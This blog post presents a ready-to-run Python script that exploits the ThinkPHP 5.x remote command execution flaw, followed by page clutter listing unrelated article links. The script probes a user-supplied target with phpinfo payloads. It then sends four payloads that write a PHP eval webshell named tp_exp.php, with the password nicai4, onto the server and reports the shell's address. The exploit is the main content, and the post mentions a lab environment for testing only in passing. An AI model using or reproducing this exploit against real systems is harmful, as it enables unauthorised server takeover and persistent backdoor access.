python3编写ThinkPHP命令执行Getshell的方法


Posted in Python onFebruary 26, 2019

加了三个验证漏洞以及四个getshell方法

# /usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: Morker
# @Email: [email]admin@nsf.me[/email]
# @Blog:  [url]http://nsf.me/[/url]
 
import requests
import sys
 
def demo():
  print(' _______ _   _    _  _____ _  _ _____ ')
  print(' |__  __| |  (_)   | | | __ \| | | | __ \ ')
  print('  | | | |__ _ _ __ | | _| |__) | |__| | |__) |')
  print('''  | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')
  print('  | | | | | | | | | |  <| |  | | | | |   ')
  print('  |_| |_| |_|_|_| |_|_|\_\_|  |_| |_|_|   ')
  print()
  print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')
  print('\tRemote command execution exploit.')
  print('\tVulnerability verification and getshell.')
  print('\tTarget: http://target/public')
  print()
class ThinkPHP():
  def __init__(self,web):
    self.web = web
    self.headers = {
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",
    "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding" : "gzip, deflate",
    "Content-Type" : "application/x-www-form-urlencoded",
    "Connection" : "keep-alive"
    }
 
  def verification(self):
    i = 0
    s = 0
    verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1']
    while True:
      if i == len(verifications):
        break
      else:
        url = self.web + verifications[i]
        req = requests.get(url=url,headers=self.headers)
        if 'phpinfo()' in req.text:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] There are vulnerabilities.")
      print()
      toshell = input("[*] Getshell? (y/n):")
      if toshell == 'y':
        self.getshell()
      elif toshell == 'n':
        sys.exit()
      else:
        sys.exit()
    else:
      print("[-] There are no vulnerabilities.")
 
  def getshell(self):
    getshells = [
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php',
    '?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>']
    shell = self.web + '/tp_exp.php'
    i = 0
    s = 0
    while True:
      if i == len(getshells):
        break
      else:
        url = self.web + getshells[i]
        req = requests.get(url=url,headers=self.headers)
        req_shell = requests.get(url=shell,headers=self.headers)
        if req_shell.status_code == 200:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] WebShell :%s PassWord :nicai4" % shell)
    else:
      print("[-] The vulnerability does not exist or exists waf.")
 
def main():
  demo()
  url = input("[*] Please input your target: ")
  run = ThinkPHP(url)
  run.verification()
 
if __name__ == '__main__':
  main()

注:图中的测试网址为在线漏洞环境,可自己去在线搭建测试。

环境地址:https://www.vsplate.com/

效果图:

python3编写ThinkPHP命令执行Getshell的方法

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python中unittest用法实例
Sep 25 Python
Python探索之pLSA实现代码
Oct 25 Python
Python多线程原理与用法详解
Aug 20 Python
Python 调用PIL库失败的解决方法
Jan 08 Python
python解析含有重复key的json方法
Jan 22 Python
Python制作动态字符图的实例
Jan 27 Python
python频繁写入文件时提速的方法
Jun 26 Python
简单了解python的内存管理机制
Jul 08 Python
python定义类self用法实例解析
Jan 22 Python
Python如何使用turtle库绘制图形
Feb 26 Python
给ubuntu18安装python3.7的详细教程
Jun 08 Python
基于Python实现nc批量转tif格式
Aug 14 Python
初探利用Python进行图文识别(OCR)
Feb 26 #Python
Python编写合并字典并实现敏感目录的小脚本
Feb 26 #Python
Python实现监控Nginx配置文件的不同并发送邮件报警功能示例
Feb 26 #Python
利用python实现对web服务器的目录探测的方法
Feb 26 #Python
python selenium 弹出框处理的实现
Feb 26 #Python
python实现学员管理系统
Feb 26 #Python
python实现电子产品商店
Feb 26 #Python
You might like
php面向对象全攻略 (十一)__toString()用法 克隆对象 __call处理调用错误
2009/09/30 PHP
php session和cookie使用说明
2010/04/07 PHP
分享常见的几种页面静态化的方法
2015/01/08 PHP
PHP+Ajax验证码验证用户登录
2016/07/20 PHP
PHP中的异常处理机制深入讲解
2020/11/10 PHP
JAVASCRIPT IE 与 FF中兼容问题小结
2009/02/18 Javascript
JSON 客户端和服务器端的格式转换
2009/08/27 Javascript
Jquery.addClass始终无效原因分析
2013/09/08 Javascript
教你如何使用PHP输出中文JSON字符串
2014/05/22 Javascript
jQuery设置和获取HTML、文本和值示例
2014/07/08 Javascript
深入理解JavaScript系列(18):面向对象编程之ECMAScript实现
2015/03/05 Javascript
PHP+MySQL+jQuery随意拖动层并即时保存拖动位置实例讲解
2015/10/09 Javascript
浅谈jquery中使用canvas的问题
2016/10/10 Javascript
JavaScript用JSONP跨域请求数据实例详解
2017/01/06 Javascript
详解Node.js开发中的express-session
2017/05/19 Javascript
vue的事件绑定与方法详解
2017/08/16 Javascript
微信小程序模拟cookie的实现
2018/06/20 Javascript
layer弹出层全屏及关闭方法
2018/08/17 Javascript
详解如何用VUE写一个多用模态框组件模版
2018/09/27 Javascript
原生js实现淘宝放大镜效果
2020/10/28 Javascript
JS实现的获取银行卡号归属地及银行卡类型操作示例
2019/01/08 Javascript
[58:42]DOTA2上海特级锦标赛C组败者赛 Newbee VS Archon第一局
2016/02/27 DOTA
Python进程间通信用法实例
2015/06/04 Python
python计算一个序列的平均值的方法
2015/07/11 Python
使用Python进行AES加密和解密的示例代码
2018/02/02 Python
基于循环神经网络(RNN)的古诗生成器
2018/03/26 Python
Python遍历numpy数组的实例
2018/04/04 Python
关于Pycharm无法debug问题的总结
2019/01/19 Python
python文字和unicode/ascll相互转换函数及简单加密解密实现代码
2019/08/12 Python
Django Model中字段(field)的各种选项说明
2020/05/19 Python
梅西百货官网:Macy’s
2020/08/04 全球购物
如何用Python来进行查询和替换一个文本字符串
2014/01/02 面试题
物流专业大学的自我评价
2014/01/11 职场文书
大学毕业生推荐信
2014/07/09 职场文书
企业开发CSS命名BEM代码规范实践
2022/02/12 HTML / CSS
Win11 Beta 22621.601 和 22622.601今日发布 KB5017384修复内容汇总
2022/09/23 数码科技